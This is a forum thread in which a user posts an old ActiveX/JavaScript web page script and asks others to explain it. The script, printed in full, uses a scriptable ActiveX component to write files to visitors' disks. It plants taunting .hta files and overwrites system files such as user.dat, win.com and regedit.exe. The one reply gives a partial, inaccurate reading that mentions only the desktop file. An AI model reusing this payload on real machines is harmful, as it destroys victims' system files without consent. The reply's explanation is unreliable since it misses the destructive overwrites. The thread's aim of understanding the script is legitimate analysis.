Javascript/ActiveX

[Thuged_Out_G]

i came across this script on the net, and it somehow apparently fucks up your registry, i know it does something...because my virus scanner tells me when i view the page, found some file.U2 or UD i cant remember lol, anways...can someone make sense of this script?

code:

<p> <applet code="com.ms.activeX.ActiveXComponent" width="1" height="1"> </applet> </p> <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\Desktop\\\\auzy.hta"; doc="<SCRIPT>s1=\'You should be ashamed.\\nYou Have been manipulated by Auzy.\\nI know your IP... You could be destroyed by my awesome power \\nSoon, I will tell u how I did this and u will realize that\\nI actually could have done worse like format your HD\\nSo I cannot be held responsible.\\nIt is all your fault.\\nNext Time u wont be so lucky.\\n\\nAuzy\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script> <script <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\Start Menu\\\\Programs\\\\Accessories\\\\System Tools\\\\auzy.hta"; doc="<SCRIPT>s1=\'You should be ashamed.\\nYou Have been manipulated by Auzy.\\nI know your IP... You could be destroyed by my awesome power \\nSoon, I will tell u how I did this and u will realize that\\nI actually could have done worse like format your HD\\nSo I cannot be held responsible.\\nIt is all your fault.\\nNext Time u wont be so lucky.\\n\\nAuzy\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script> <script <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\Start Menu\\\\Programs\\\\Accessories\\\\auzy.hta"; doc="<SCRIPT>s1=\'You should be ashamed.\\nYou Have been manipulated by Auzy.\\nI know your IP... You could be destroyed by my awesome power \\nSoon, I will tell u how I did this and u will realize that\\nI actually could have done worse like format your HD\\nSo I cannot be held responsible.\\nIt is all your fault.\\nNext Time u wont be so lucky.\\n\\nAuzy\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script> <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\user.dat"; doc="<SCRIPT>s1=\'Y\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script> <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\win.com"; doc="<SCRIPT>s1=\'Y\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script> <script LANGUAGE="JAVASCRIPT"> a1=document.applets[0]; fn="..\\\\regedit.exe"; doc="<SCRIPT>s1=\'Y\\n\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>"; function f1() { a1.setProperty('DOC',doc); } function f() { // The ActiveX classid cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000); } setTimeout("f()",1000) </script> <script LANGUAGE="VBSCRIPT"> VA = ARRAY() ' Just to get something like com.ms.com.Variant[] </script>

it seems like it justs repeats itself over and over...i havent looked throuhg the whole thing, because i only know minimal javascript, and no activeX

[Thuged_Out_G]

so no one has any ideas eh?

[Tony]

well its all preaty much this part

code:

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}"; a1.setCLSID(cl); a1.createInstance(); setTimeout("a1.setProperty('Path','"+fn+"')",1000); setTimeout("f1()",1500); setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000);

what I think this does is creates a file on desktop with that "i could have formated your HDD" crap.

Quote:

{06290BD5-48AA-11D2-8432-006008C3FBFC}

I think is the regestry code thingy your anti-virus catches, and it seems there're some exploits assosiated with that as shown here